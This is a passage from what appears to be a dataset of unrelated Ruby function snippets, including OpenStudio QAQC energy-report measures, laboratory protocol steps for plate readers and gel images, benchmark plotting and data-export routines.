user_arguments)\n super(runner, user_arguments)\n\n # make the runner a class variable\n @runner = runner\n\n # if true errors on QAQC sections will show full backtrace. Use for diagnostics\n @error_backtrace = true\n\n # register initial condition\n runner.registerInitialCondition('Starting QAQC report generation')\n\n # get sql, model, and web assets\n setup = OsLib_Reporting.setup(runner)\n unless setup\n return false\n end\n @model = setup[:model]\n # workspace = setup[:workspace]\n @sql = setup[:sqlFile]\n web_asset_path = setup[:web_asset_path]\n\n # temp code to address climate zone problem mentioned in OpenStudio issue# 3148\n climateZones = @model.getClimateZones\n cz = climateZones.getClimateZones('ASHRAE').first.value\n climateZones.clear\n climateZones.setClimateZone('ASHRAE', cz)\n\n # assign the user inputs to variables\n args = OsLib_HelperMethods.createRunVariables(runner, @model, user_arguments, arguments)\n unless args\n return false\n end\n\n # vector to store the results and checks\n report_elems = OpenStudio::AttributeVector.new\n\n # used for edapt programs to populate xml file with extra data\n # report_elems << create_results\n\n # lookup and replace argument values from upstream measures\n if args['use_upstream_args'] == true\n args.each do |arg, value|\n next if arg == 'use_upstream_args' # this argument should not be changed\n value_from_osw = OsLib_HelperMethods.check_upstream_measure_for_arg(runner, arg)\n if !value_from_osw.empty?\n runner.registerInfo(\"Replacing argument named #{arg} from current measure with a value of #{value_from_osw[:value]} from #{value_from_osw[:measure_name]}.\")\n new_val = value_from_osw[:value]\n # TODO: - make code to handle non strings more robust. check_upstream_measure_for_arg coudl pass bakc the argument type\n if arg == 'total_bldg_floor_area'\n args[arg] = new_val.to_f\n elsif arg == 'num_stories_above_grade'\n args[arg] = new_val.to_f\n elsif arg == 'zipcode'\n args[arg] = new_val.to_i\n else\n args[arg] = new_val\n end\n end\n end\n end\n\n # utility name to to used by some qaqc checks\n @utility_name = nil # for utility QAQC string is passed in\n default_target_standard = args['template'] # for utility QAQC this is hard coded, for generic it is user argument\n\n # get building type, different standards path if multifamily\n building_type = ''\n if @model.getBuilding.standardsBuildingType.is_initialized\n building_type = @model.getBuilding.standardsBuildingType.get\n end\n\n # create an attribute vector to hold the checks\n check_elems = OpenStudio::AttributeVector.new\n\n # loop through QAQC categories where bool is true\n possible_check_categories.each do |hash|\n # skip if bool arg for this method is false\n next if args[hash[:method_name]] == false\n\n cat = hash[:cat]\n cat_input = \"\\'#{cat}\\'\"\n if hash[:standards]\n standards_input = \",\\'#{default_target_standard}\\'\"\n else\n standards_input = ''\n end\n if hash[:data].nil?\n data_input = ''\n else\n data_input = \",#{hash[:data]}\"\n end\n\n # get min tol\n if args.key?(\"#{hash[:method_name]}_tol\")\n # get tol value\n tol = args[\"#{hash[:method_name]}_tol\"]\n # set min inputs\n if tol.is_a? Float\n min_input = \",#{tol}\"\n else\n min_input = ''\n end\n else\n min_input = ''\n end\n\n # get max tol\n if args.key?(\"#{hash[:method_name]}_max_tol\")\n # get tol value\n max_tol = args[\"#{hash[:method_name]}_max_tol\"]\n # set max inputs\n if max_tol.is_a? Float\n max_input = \",#{max_tol}\"\n elsif (hash[:tol_max] == true) && hash[:tol_min].is_a?(Float)\n # if true then use double from min_tol\n max_input = \",#{args[\"#{hash[:method_name]}_tol\"]}\"\n else\n max_input = ''\n end\n else\n if (hash[:tol_max] == true) && hash[:tol_min].is_a?(Float)\n # if true then use double from min_tol\n max_input = \",#{args[\"#{hash[:method_name]}_tol\"]}\"\n else\n max_input = ''\n end\n end\n\n # run QAQC check\n eval(\"check_elems << #{hash[:method_name]}(#{cat_input}#{data_input}#{standards_input}#{min_input}#{max_input},false)\")\n end\n\n # add checks to report_elems\n report_elems << OpenStudio::Attribute.new('checks', check_elems)\n\n # create an extra layer of report. the first level gets thrown away.\n top_level_elems = OpenStudio::AttributeVector.new\n top_level_elems << OpenStudio::Attribute.new('report', report_elems)\n\n # create the report\n result = OpenStudio::Attribute.new('summary_report', top_level_elems)\n result.saveToXml(OpenStudio::Path.new('report.xml'))\n\n # closing the sql file\n @sql.close\n\n # reporting final condition\n runner.registerFinalCondition('Finished generating report.xml.')\n\n # populate sections using attributes\n sections = OsLib_Reporting.sections_from_check_attributes(check_elems, runner)\n\n # generate html output\n OsLib_Reporting.gen_html(\"#{File.dirname(__FILE__)}report.html.erb\", web_asset_path, sections, name)\n\n return true\n end", "def saveReportAndGelImages(inputStr, num_samples)\n \n # number of rows in striwell plate\n rows = (num_samples/WELLS_PER_STRIPWELL.to_f).ceil\n \n show do \n title \"Save PDF and gel images\"\n note \"If an error message occurs after the reports were generated, click <b>okay</b>\"\n note \"A PDF report is generated. Note that a separate gel image is generated for each stripwell row.\"\n check \"For each gel image in the PDF, right-click on the image, copy it, and paste it into Paint. Then save to <b>Documents/Gel Images</b> for each row, with the filenames below:\" \n rows.times do |i|\n note \"For Row #{i + 1}: stripwell_from_#{Time.now.strftime(\"%Y-%m-%d\")}_#{jid}_row_#{i + 1}.JPG\" # jid is JOB id\n end\n note \"On the PDF, select <b>File -> Save As</b>, navigate to <b>Documents/PDF Report</b>, and save the PDF as <b>#{Time.now.strftime(\"%Y-%m-%d\")}_#{jid}</b>\"\n note \"Close the PDF\"\n note \"You will now upload the PDFs and gel files\"\n end\n \n # upload PDFs\n pdf_uploads=uploadData(\"Documents/PDF Report/#{Time.now.strftime(\"%Y-%m-%d\")}_#{jid}.pdf\",1,3) # 1 file for whole plate\n gel_uploads=uploadData(\"Documents/Gel Images/#{Time.now.strftime(\"%Y-%m-%d\")}_#{jid}_row_*.jpg\",rows,3) # 1 image per row\n # associate gel,PDF images \n operations.each do |op|\n if(!gel_uploads.nil?)\n rr=op.get(:qc_row) # position in gel_uploads, 0-based \n if(!(gel_uploads[rr].nil?))\n op.input(inputStr).item.associate \"qc_image\", gel_uploads[rr]\n op.plan.associate \"qc_image_#{op.input(inputStr).sample.id}\", \"QC Image\", gel_uploads[rr]\n end\n end\n if(!pdf_uploads.nil?)\n op.input(inputStr).item.associate \"qc_report\", pdf_uploads[rr]\n op.plan.associate \"qc_report_#{op.input(inputStr).sample.id}\", \"QC Report\", pdf_uploads[0]\n end\n end\n end", "def run(runner, user_arguments)\n super(runner, user_arguments)\n \n #make the runner a class variable\n @runner = runner\n \n #use the built-in error checking \n if not runner.validateUserArguments(arguments(), user_arguments)\n return false\n end\n\n runner.registerInitialCondition(\"Starting QAQC report generation\")\n\n # get the last model and sql file \n @model = runner.lastOpenStudioModel\n if @model.is_initialized\n @model = @model.get\n else\n runner.registerError(\"Cannot find last model.\")\n return false\n end\n \n @sql = runner.lastEnergyPlusSqlFile\n if @sql.is_initialized\n @sql = @sql.get\n else\n runner.registerError(\"Cannot find last sql file.\")\n return false\n end\n \n resource_path = \"#{File.dirname(__FILE__)}/resources/\"\n if not File.exists?(\"#{resource_path}/CreateResults.rb\")\n # support pre 1.2.0 OpenStudio\n resource_path = \"#{File.dirname(__FILE__)}/\"\n end\n\n\n \n #require the files that create results and qaqc checks\n # use different code for 2.0 and higher\n if @model.version < OpenStudio::VersionString.new('1.11')\n runner.registerInfo(\"Using the pre-2.0 code\")\n require \"#{resource_path}/CreateResults.rb\"\n require \"#{resource_path}/EndUseBreakdown\"\n require \"#{resource_path}/EUI\"\n require \"#{resource_path}/FuelSwap\"\n require \"#{resource_path}/PeakHeatCoolMonth\"\n require \"#{resource_path}/UnmetHrs\"\n\n #vector to store the results and checks\n report_elems = OpenStudio::AttributeVector.new\n report_elems << create_results\n \n #create an attribute vector to hold the checks\n check_elems = OpenStudio::AttributeVector.new\n\n #unmet hours check\n check_elems << unmet_hrs_check\n \n #energy use for cooling and heating as percentage of total energy check\n check_elems << enduse_pcts_check\n\n #peak heating and cooling months check\n check_elems << peak_heat_cool_mo_check\n\n #EUI check\n check_elems << eui_check\n \n #end checks\n report_elems << OpenStudio::Attribute.new(\"checks\", check_elems)\n \n #create an extra layer of report. the first level gets thrown away.\n top_level_elems = OpenStudio::AttributeVector.new\n top_level_elems << OpenStudio::Attribute.new(\"report\", report_elems) \n \n #create the report\n result = OpenStudio::Attribute.new(\"summary_report\", top_level_elems)\n result.saveToXml(OpenStudio::Path.new(\"report.xml\"))\n\n else\n runner.registerInfo(\"Using the post-2.0 code\")\n require \"#{resource_path}/CreateResults_2.rb\"\n require \"#{resource_path}/EndUseBreakdown_2\"\n require \"#{resource_path}/EUI_2\"\n require \"#{resource_path}/FuelSwap_2\"\n require \"#{resource_path}/PeakHeatCoolMonth_2\"\n require \"#{resource_path}/UnmetHrs_2\" \n \n # store the results\n create_results\n \n # QAQC checks\n runner.registerValue(\"test_reg_value\", 9989, \"ft^2\")\n \n \n end\n \n #closing the sql file\n @sql.close()\n\n #reporting final condition\n runner.registerFinalCondition(\"Finished generating report.xml.\")\n \n return true\n \n end", "def execution\n # read number base, determine how many zeros to put in front\n # read start, find relevant equivalent\n # loop: assembles each line command from start to end number. add escape characters.\n # concat each iteration to... string? string. then write string at end.\n # call file writer at end\n end", "def exportRunStream(stream,filepath)\n savestring = \"\";\n stream.each do |currentRun|\n savestring = savestring + \"#{currentRun[:weekday]} #{currentRun[:duration]} #{currentRun[:distance]} \\n\"\n end\nFile.open(filepath, 'w') {|f| f.write(savestring)}\nend", "def measuring_fluorescence(outputPlate, inputPlateID)\n rows = ['A','B','C','D','E','F','G','H']\n d = DateTime.now\n \n show do\n title \"Setting up workspace for GFP measurements\"\n \n note \"In the <b>'Auto Collect'</b> tab, select the plate type <b>'96 well U-bottom'</b>.\"\n note \"Click and check the following wells.\"\n table highlight_non_empty(outputPlate) { |r, c| rows[r] + (c + 1).to_s}\n end\n \n show do\n title \"Setting up workspace for GFP measurements\"\n \n note \"Set <b>'Run Limits'</b> to <b>10,000 events</b>.\"\n note \"Set <b>'Fluidics'</b> to <b>'Fast'</b>\" # Flow rate: 66ul/min, Core Sze : 22um\n note \"Set <b>'Set threshold'</b> to <b>FSC-H less than 400,000</b>.\"\n check \"Click <b>'Apply Settings'</b> and save as <b>#{inputPlateID}_#{d.strftime(\"%m_%d_%Y\")}</b>\"\n note \"Finally, click <b>Eject Plate</b>\"\n warning \"Load experimental plate with the <b>first well at the top left next to the red-dot sticker</b>.\"\n note \"Click <b>Load Plate</b>.\"\n note \"Click <b>OPEN RUN DISPLAY</b>.\"\n note \"Click <b>AUTORUN</b> to begin measurements.\"\n end\n end", "def export(path)\n # TODO: Progress\n execute(\"export\", @uuid, \"--output\", path.to_s)\n end", "def measure_code(model,runner)\n measure_folder = \"#{File.dirname(__FILE__)}/\"\n baseline_spreadsheet = \"#{File.dirname(__FILE__)}/baseline.csv\"\n #Note: place output folder locally to run faster! (e.g. your C drive)\n output_folder = \"#{File.dirname(__FILE__)}/tests/output\"\n create_models = true\n simulate_models = true\n create_annual_outputs = true\n create_hourly_outputs = true\n #This creates the measures object and collects all the csv information for the\n # measure_id variant.\n csv_measures = BTAP::Measures::CSV_OS_Measures.new(\n baseline_spreadsheet,\n measure_folder#script root folder where all the csv relative paths are used.\n )\n csv_measures.create_cold_lake_vintages(output_folder) unless create_models == false\n BTAP::SimManager::simulate_all_files_in_folder(output_folder) unless simulate_models == false\n BTAP::Reporting::get_all_annual_results_from_runmanger(output_folder) unless create_annual_outputs == false\n #convert eso to csv then create terminus file.\n BTAP::FileIO::convert_all_eso_to_csv(output_folder, output_folder).each {|csvfile| BTAP::FileIO::terminus_hourly_output(csvfile)} unless create_hourly_outputs == false\n\n end", "def measuring_fluorescence(outputPlate)\n \n rows = ['A','B','C','D','E','F','G','H']\n d = DateTime.now\n \n show do\n title \"Setting Up Workspace for GFP Measurements\"\n \n note \"Click <b>Close Run Display</b> to continue.\"\n note \"In the <b>'Auto Collect'</b> tab, select the Plate Type: <b>'96 well: flat bottom'</b>.\"\n note \"Click and check the following wells.\"\n table highlight_non_empty(outputPlate) { |r, c| rows[r] + (c + 1).to_s}\n end\n \n show do\n title \"Setting Up Workspace for GFP Measurements\"\n \n note \"Set <b>'Run Limits'</b> to <b>10,000 events</b>.\"\n note \"Set <b>'Fluidics'</b> to <b>'Med'</b>\" # Fast - Flow rate: 66ul/min, Core Sze : 22um\n note \"Set <b>'Set threshold'</b> to <b>FSC-H less than 400,000</b>.\"\n note \"Click <b>'Apply Settings'</b>\"\n check \"Save as <b>Item_#{outputPlate}_#{d.strftime(\"%m_%d_%Y\")}</b> in <b>Q0_YeastGates</b> folder.\" # do I need to associate\n note \"Finally, click <b>Eject Plate</b>\"\n warning \"Load experimental plate with the <b>first well at the top left next to the red-dot sticker</b>.\"\n note \"Click <b>Load Plate</b>.\"\n note \"Click <b>OPEN RUN DISPLAY</b>.\"\n note \"Click <b>AUTORUN</b> to begin measurements.\"\n end\n end", "def run_test_and_real(ops, program, stamp_columns=nil)\n run_qpcr(FRAGMENT, ops, program, TEST, stamp_columns)\n csv_upload = upload_data(FRAGMENT, ops, program, TEST)\n find_stop_cycles(FRAGMENT, ops, csv_upload)\n separate_tubes(FRAGMENT, ops, REAL, stamp_columns)\n run_qpcr(FRAGMENT, ops, program, REAL, stamp_columns)\n upload_data(FRAGMENT, ops, program, REAL)\n end", "def XXget_rfilespec\n f = get_qfilespec.gsub(@options[:directory], '')\n [\"data\", f].join\n end", "def export\n {\n displaycommand: @displaycommand,\n playprompt: @playprompt,\n clearscreen: @clearscreen,\n customprompt: @customprompt,\n stdin: @stdin,\n stdout: @stdout,\n stderr: @stderr,\n timespent: @timespent\n }\n end", "def export\n @paystub = Paystub.find(params[:id])\n name = \"#{@paystub.doctor.lname}_#{Date::MONTHNAMES[@paystub.month]}_#{@paystub.year}\"\n @sdate = Date.new(@paystub.year, @paystub.month)\n @edate = 1.month.since(@sdate)\n\n @claims = Claim.joins(:services).where(provider_no: @paystub.doctor.provider_no).where(date_paid: (@sdate..@edate)).group('services.svc_date,pmt_pgm').pluck(:svc_date,Arel.sql('count(distinct claims.id),count(*), pmt_pgm, SUM(amt_subm)/100.0, SUM(amt_paid)/100.0'))\n\n @paystub.update_attribute(:filename, name+'.pdf')\n\n pdf = build_paystub( @paystub,@claims )\n pdf.render_file @paystub.filespec\n redirect_to paystubs_path, alert: \"New paystub created for Dr. #{@paystub.doctor.lname}\"\n end", "def report(output)\n end", "def transfer_plot(args, options)\n\n experiments = options.experiments.split(',')\n machines = options.machines.split(',')\n\n data = Ppbench::load_data(args)\n filtered_data = Ppbench::filter(\n data,\n experiments: experiments,\n machines: machines\n )\n aggregated_data = Ppbench::aggregate(filtered_data)\n\n max_x = Ppbench::maximum(aggregated_data, of: :length)\n max_y = Ppbench::maximum(aggregated_data, of: :transfer_rate)\n\n rplot = Ppbench::plotter(\n aggregated_data,\n to_plot: :transfer_rate,\n machines: machines,\n experiments: experiments,\n receive_window: options.recwindow,\n xaxis_max: options.xaxis_max == 0 ? max_x : options.xaxis_max,\n confidence: options.confidence,\n no_points: options.nopoints,\n with_bands: options.withbands,\n yaxis_max: options.yaxis_max == 0 ? max_y : options.yaxis_max,\n yaxis_steps: options.yaxis_steps,\n xaxis_steps: options.xaxis_steps,\n title: \"Data Transfer Rates\",\n subtitle: \"bigger is better\",\n xaxis_title: \"Message Size\",\n xaxis_unit: \"kB\",\n yaxis_title: \"Transfer Rate\",\n yaxis_unit: \"MB/sec\"\n )\n\n pdf = pdfout(rplot, file: options.pdf, width: options.width, height: options.height)\n print(\"#{pdf}\") unless options.pdf.empty?\n print(\"#{rplot}\") if options.pdf.empty?\nend", "def export_results\n paths = []\n export_dir = File.join(Hailstorm.root, Hailstorm.reports_dir, \"SEQUENCE-#{self.id}\")\n FileUtils.rm_rf(export_dir)\n FileUtils.mkpath(export_dir)\n self.client_stats.each do |cs|\n export_file_path = cs.write_jtl(export_dir)\n paths.push(export_file_path)\n end\n\n paths\n end", "def analyze_benchmarks(benches, runs, mode)\n # Build table for energy consumed for each run\n front_path = \"\"\n front_dat = \"\"\n device = \"\"\n dir = \"\"\n case mode\n when :intel_mode\n front_path = \".\"\n front_dat = \"./dat\"\n device = \"Intel\"\n dir = \"adapt_run\"\n when :pi_mode\n front_path = \"./pi_bench\"\n front_dat = \"./pi_dat\"\n device = \"Pi\"\n dir = \"badapt_run\"\n when :droid_mode\n front_path = \"./android_bench\"\n front_dat = \"./droid_dat\"\n device = \"Droid\"\n dir = \"badapt_run\"\n end \n\n consumedtable = {}\n normaltable = {}\n benches.each do |bench, path|\n energy = []\n nenergy = []\n maxe = 0.0\n drop_first = false\n num_runs = 0\n\n runs.each do |run| \n m = File.open(\"./#{front_path}/#{path}/#{dir}/#{run}.txt\").read().scan(/^(?!\\/\\/)ERun.*:(.*)$/)\n e = 0.0\n\n case mode\n when :intel_mode\n drop_first = true\n num_runs = m.length-1\n when :pi_mode\n drop_first = true\n num_runs = m.length-1\n when :droid_mode\n drop_first=false\n front_path = \"./android_bench\"\n num_runs = m.length\n end \n\n for i in 0..m.length-1 do\n next if i == 0 && drop_first\n\n e += m[i][0].strip().split()[2].to_f\n end\n e = e / num_runs.to_f\n maxe = e unless maxe > e \n energy << e\n end\n nenergy = energy.map { |n| n / maxe }\n normalize = energy[6]\n\n nenergy = energy.map { |n| n / normalize }\n consumedtable[bench] = energy\n normaltable[bench] = nenergy\n end\n\n # Dump tables for gnuplot\n consumeddat = File.open(\"#{front_dat}/badapt_consumed.dat\", \"w+\")\n\n #consumeddat.write(\"xcord\\tbench\\tdata\\tenergy_saver\\tmanaged\\tfull_throttle\\tlow_percent_saved\\tmid_percent_saved\\n\")\n consumeddat.write(\"xcord\\tbench\\tdata\\tenergy_saver\\tmanaged\\tlow_percent_saved\\tmid_percent_saved\\n\")\n\n k = 0\n benches.each do |bench, path|\n #for i in 0..2 do\n\n #for j in (((i+1)*3)-1).downto(i*3) do\n # consumeddat.write(\"\\t#{normaltable[bench][j]}\")\n #end\n\n #top = (((i+1)*3)-1)\n \n saver = (((consumedtable[bench][6]-consumedtable[bench][8]) / consumedtable[bench][6]) * 100.0).round(2)\n managed = (((consumedtable[bench][6]-consumedtable[bench][7]) / consumedtable[bench][6]) * 100.0).round(2)\n\n xcord = 0*$LITTLEGAP+k*$LARGEGAP\n consumeddat.write(\"#{xcord}\\t#{bench}\\t#{$DATAS[2]}\\t#{normaltable[bench][8]}\\t0\\t#{saver}\\t\\\"\\\"\\n\")\n xcord = 1*$LITTLEGAP+k*$LARGEGAP\n consumeddat.write(\"#{xcord}\\t#{bench}\\t#{$DATAS[2]}\\t0\\t#{normaltable[bench][7]}\\t\\\"\\\"\\t#{managed}\\n\")\n\n k += 1\n end\n\n #k = 0\n #benches.each do |bench, path|\n # for i in 0..2 do\n # xcord = i*$LITTLEGAP+k*$LARGEGAP\n # consumeddat.write(\"#{xcord}\\t#{bench}\\t#{$DATAS[i]}\")\n # for j in (((i+1)*3)-1).downto(i*3) do\n # consumeddat.write(\"\\t#{normaltable[bench][j]}\")\n # end\n#\n# top = (((i+1)*3)-1)\n# \n# saver = (((consumedtable[bench][top-2]-consumedtable[bench][top]) / consumedtable[bench][top-2]) * 100.0).round(2)\n# managed = (((consumedtable[bench][top-2]-consumedtable[bench][top-1]) / consumedtable[bench][top-2]) * 100.0).round(2)\n#\n# #if (managed-saver).abs <= 2.0 \n# # consumeddat.write(\"\\t#{saver}\\t\")\n# #else\n# consumeddat.write(\"\\t#{saver}\\t#{managed}\")\n# #end\n#\n# consumeddat.write(\"\\n\")\n# end\n# k += 1\n# end\n\n consumeddat.close\n\n puts \"\\\\hline\"\n puts \"\\\\textbf{name} & \\\\textbf{workload} & \\\\textbf{full boot (J)} & \\\\textbf{managed boot saved (J)} & \\\\textbf{managed boot saved (\\\\%)} & \\\\textbf{saver boot saved (J)} & \\\\textbf{saver boot saved (\\\\%)} \\\\\\\\\"\n\n # Dump energy consumed diff\n rows = []\n rowse = []\n benches.each do |bench, path|\n ld_ft_m = consumedtable[bench][6]-consumedtable[bench][7]\n ld_ft_me = (ld_ft_m / consumedtable[bench][6]) * 100.0\n\n ld_ft_es = consumedtable[bench][6]-consumedtable[bench][8]\n ld_ft_ese = (ld_ft_es / consumedtable[bench][6]) * 100.0\n\n md_ft_m = consumedtable[bench][3]-consumedtable[bench][4]\n md_ft_me = (md_ft_m / consumedtable[bench][3]) * 100.0\n\n md_ft_es = consumedtable[bench][3]-consumedtable[bench][5]\n md_ft_ese = (md_ft_es / consumedtable[bench][3]) * 100.0\n\n sd_ft_m = consumedtable[bench][0]-consumedtable[bench][1]\n sd_ft_me = (sd_ft_m / consumedtable[bench][0]) * 100.0\n\n sd_ft_es = consumedtable[bench][0]-consumedtable[bench][2]\n sd_ft_ese = (sd_ft_es / consumedtable[bench][0]) * 100.0\n\n rows << [bench, ld_ft_m.round(2), ld_ft_es.round(2), md_ft_m.round(2), md_ft_es.round(2), sd_ft_m.round(2), sd_ft_es.round(2)]\n rowse << [bench, ld_ft_me.round(2), ld_ft_ese.round(2), md_ft_me.round(2), md_ft_ese.round(2), sd_ft_me.round(2), sd_ft_ese.round(2)]\n\n puts \"\\\\hline\"\n puts \"#{bench} & full & #{consumedtable[bench][6].round(2)} & #{ld_ft_m.round(2)} & #{ld_ft_me.round(2)}\\\\% & #{ld_ft_es.round(2)} & #{ld_ft_ese.round(2)}\\\\% \\\\\\\\\"\n\n puts \"\\\\hline\"\n puts \"#{bench} & managed & #{consumedtable[bench][3].round(2)} & #{md_ft_m.round(2)} & #{md_ft_me.round(2)}\\\\% & #{md_ft_es.round(2)} & #{md_ft_ese.round(2)}\\\\% \\\\\\\\\"\n\n puts \"\\\\hline\" \n puts \"#{bench} & saver & #{consumedtable[bench][0].round(2)} & #{sd_ft_m.round(2)} & #{sd_ft_me.round(2)}\\\\% & #{sd_ft_es.round(2)} & #{sd_ft_ese.round(2)}\\\\% \\\\\\\\\"\n\n rows << :separator\n rowse << :separator\n end\n \n puts \"\\\\hline\"\n\n puts Terminal::Table.new :title => \"#{device} Raw Difference\", \n :headings => [\"Bench\", \"ld:full-managed\", \"ld:full-saver\", \"md:full-managed\", \"md:full-saver\", \"sd:full-managed\", \"sd:full-saver\"], \n :rows => rows\n\n puts Terminal::Table.new :title => \"#{device} Percent Error (Against full-throttle)\", \n :headings => [\"Bench\", \"ld:full-managed\", \"ld:full-saver\", \"md:full-managed\", \"md:full-saver\", \"sd:full-managed\", \"sd:full-saver\"], \n :rows => rowse\n\n return consumedtable\nend", "def export_measurements_image\n image_path(image_name: params[:export_measurements_image])\n end", "def request_plot(args, options)\n\n experiments = options.experiments.split(',')\n machines = options.machines.split(',')\n\n data = Ppbench::load_data(args)\n filtered_data = Ppbench::filter(\n data,\n experiments: experiments,\n machines: machines\n )\n aggregated_data = Ppbench::aggregate(filtered_data)\n\n max_x = Ppbench::maximum(aggregated_data, of: :length)\n max_y = Ppbench::maximum(aggregated_data, of: :rps)\n\n rplot = Ppbench::plotter(\n aggregated_data,\n to_plot: :rps,\n machines: machines,\n experiments: experiments,\n receive_window: options.recwindow,\n xaxis_max: options.xaxis_max == 0 ? max_x : options.xaxis_max,\n confidence: options.confidence,\n no_points: options.nopoints,\n with_bands: options.withbands,\n yaxis_max: options.yaxis_max == 0 ? max_y : options.yaxis_max,\n yaxis_steps: options.yaxis_steps,\n xaxis_steps: options.xaxis_steps,\n title: \"Requests per seconds\",\n subtitle: \"bigger is better\",\n xaxis_title: \"Message Size\",\n xaxis_unit: \"kB\",\n yaxis_title: \"Requests per seconds\",\n yaxis_unit: \"Req/sec\",\n yaxis_divisor: 1\n )\n\n pdf = pdfout(rplot, file: options.pdf, width: options.width, height: options.height)\n print(\"#{pdf}\") unless options.pdf.empty?\n print(\"#{rplot}\") if options.pdf.empty?\nend", "def modeler_description\n return \"This measure loops through output_variables, EMS:output_variables and ExternalInterface objects and will create the variables.cfg xml file for BCVTB.\n Those variables need to be in cfg file, being used for data exchange.\"\n end", "def main\n \n operations.each do |op|\n in_collection = op.input(INPUT).collection\n keep_plt = op.input(KEEP_PLT).val.to_s\n \n # export_filename(collection=in_collection, method='timeseries', timepoint=20) # timepoint is duration of timeseries plate reader\n filename = Item.find(in_collection.id).get('timeseries_filename')\n \n # Directs tech through biotek plate reader software in order to export time series measurements\n export_timeseries_data(filename)\n \n # Find measurements and upload\n show {\n title \"Locating Upload\"\n separator\n note \"The file you just exported should be in the <b>'_UWBIOFAB'</b> directory\"\n note \"It is called: #{filename}\"\n }\n # Show block upload button and retrieval of file uploaded\n up_show, up_sym = upload_show(filename)\n if (up_show[up_sym].nil?)\n show {warning \"No upload found for Plate Reader measurement. Try again!!!\"}\n up_show, up_sym = upload_show(filename)\n else\n upload = find_upload_from_show(up_show, up_sym)\n key = \"#{filename}\"\n associate_to_plans(key, upload)\n associate_to_item(in_collection, key, upload)\n end\n \n (keep_plt == 'No') ? (in_collection.mark_as_deleted) : (in_collection.location = 'Bench')\n in_collection.save\n if (keep_plt == 'No')\n show {\n title \"Cleaning Up...\"\n separator\n note \"Rinse out Plate <b>#{in_collection}</b> with DI H2O and bleach\"\n note \"Then rinse once more with EtOH\"\n }\n else\n show {\n title \"Cleaning Up...\"\n separator\n note \"Move <b>#{in_collection}</b> to <b>#{in_collection.location}</b>\"\n }\n end\n end\n \n end", "def embed_info(input_file, qr, label, x_coord, y_coord)\n img_template = ChunkyPNG::Image.from_file(input_file)\n img_label = ChunkyPNG::Image.from_file(label)\n img_template.compose!(qr, x_coord, y_coord)\n img_template.compose!(img_label, x_coord + 255, y_coord)\n rename_file = input_file[5..-1]\n img_template.save(\"./out-pdf\" + rename_file.gsub(\".png\", \"-e.png\"), :fast_rgba)\nend", "def output(machine, records)\n # expecting position, sku, dispense qty, unit price, pkg qty, currency\n CSV.open('./docs/output', 'a') do |csv|\n records.each do |pos, sku, d_qty, cost, p_qty, curr|\n # attempt to fix erroneous dispense qtys on lockers\n d_qty = 1 if pos.to_i >= 70 and d_qty.to_i > 12\n csv << [machine['companyName'], machine['deviceName'], sku, (d_qty.to_i * p_qty.to_i), cost]\n end\n end\nend", "def process\n Wavefront::Write.new({ proxy: ENDPOINT, port: 2878 },\n tags: setup_tags).write(metrics_as_points)\n update_run_number\n end", "def setup_outputs_for(input_file_path)\n file_name_without_extension = File.basename(input_file_path, '.*')\n outputs = (exporters || Tracksperanto.exporters).map do | exporter_class |\n export_name = [file_name_without_extension, exporter_class.desc_and_extension].join(\"_\")\n export_path = File.join(File.dirname(input_file_path), export_name)\n exporter_class.new(open_owned_export_file(export_path))\n end\n \n Tracksperanto::Export::Mux.new(outputs)\n end", "def writeFastqRecordToFile(outFile, readName, readString, qualName,\n qualString) \n outFile.puts readName\n outFile.puts readString\n outFile.puts qualName\n outFile.puts qualString\n end", "def export(filename)\n\t\tout = File.open(filename, 'w+')\n\t\t\n\t\t# Write file eader information\n\t\tout.puts '# ' + \"#{@input_file} :: #{@fileinfo}\"\n\t\toutstr = \"\"\n\t\t@output_ary.each { |e| \n\t\t\toutstr += \"#{e[:name]}_#{e[:unit]}\\t\"\n\t\t}\n\t\tout.puts outstr.rstrip\n\n\t\t(0..@output_ary[0][:values].size - 1).each { |i|\n\t\t\toutstr = \"\"\n\t\t\t@output_ary.each { |e| \n\t\t\t\toutstr += \"#{'%.8e' % e[:values][i]}\\t\"\n\t\t\t}\n\t\t\tout.puts outstr.rstrip\n\t\t}\n\n\t\tout.close\n\tend", "def run(runner, user_arguments)\n super(runner, user_arguments)\n\n # make the runner a class variable\n @runner = runner\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments, user_arguments)\n return false\n end\n\n runner.registerInitialCondition('Starting QAQC report generation')\n\n # get the last model and sql file\n @model = runner.lastOpenStudioModel\n if @model.is_initialized\n @model = @model.get\n else\n runner.registerError('Cannot find last model.')\n return false\n end\n\n @sql = runner.lastEnergyPlusSqlFile\n if @sql.is_initialized\n @sql = @sql.get\n else\n runner.registerError('Cannot find last sql file.')\n return false\n end\n\n # define the time-of-use periods for electricity consumption\n electricity_consumption_tou_periods = [\n {\n 'tou_name' => 'system_peak',\n 'tou_id' => 1,\n 'skip_weekends' => true,\n 'skip_holidays' => true,\n 'start_mo' => 'June',\n 'start_day' => 1,\n 'start_hr' => 14,\n 'end_mo' => 'September',\n 'end_day' => 30,\n 'end_hr' => 18\n },\n {\n 'tou_name' => 'peak',\n 'tou_id' => 2,\n 'skip_weekends' => true,\n 'skip_holidays' => true,\n 'start_mo' => 'January',\n 'start_day' => 1,\n 'start_hr' => 7,\n 'end_mo' => 'December',\n 'end_day' => 31,\n 'end_hr' => 22\n },\n {\n 'tou_name' => 'low_value_spring',\n 'tou_id' => 4,\n 'skip_weekends' => false,\n 'skip_holidays' => false,\n 'start_mo' => 'February',\n 'start_day' => 1,\n 'start_hr' => 0,\n 'end_mo' => 'April',\n 'end_day' => 30,\n 'end_hr' => 6\n },\n {\n 'tou_name' => 'low_value_fall',\n 'tou_id' => 4,\n 'skip_weekends' => false,\n 'skip_holidays' => false,\n 'start_mo' => 'November',\n 'start_day' => 1,\n 'start_hr' => 0,\n 'end_mo' => 'November',\n 'end_day' => 30,\n 'end_hr' => 6\n },\n {\n 'tou_name' => 'average',\n 'tou_id' => 3,\n 'skip_weekends' => false,\n 'skip_holidays' => false,\n 'start_mo' => 'January',\n 'start_day' => 1,\n 'start_hr' => 0,\n 'end_mo' => 'December',\n 'end_day' => 31,\n 'end_hr' => 24\n }\n ]\n\n # vector to store the results and checks\n report_elems = OpenStudio::AttributeVector.new\n report_elems << create_results(skip_weekends = true,\n skip_holidays = true,\n start_mo = 'June',\n start_day = 1,\n start_hr = 14,\n end_mo = 'September',\n end_day = 30,\n end_hr = 18,\n electricity_consumption_tou_periods)\n\n # create an attribute vector to hold the checks\n check_elems = OpenStudio::AttributeVector.new\n\n # unmet hours check\n check_elems << unmet_hrs_check\n\n # energy use for cooling and heating as percentage of total energy check\n check_elems << enduse_pcts_check\n\n # peak heating and cooling months check\n check_elems << 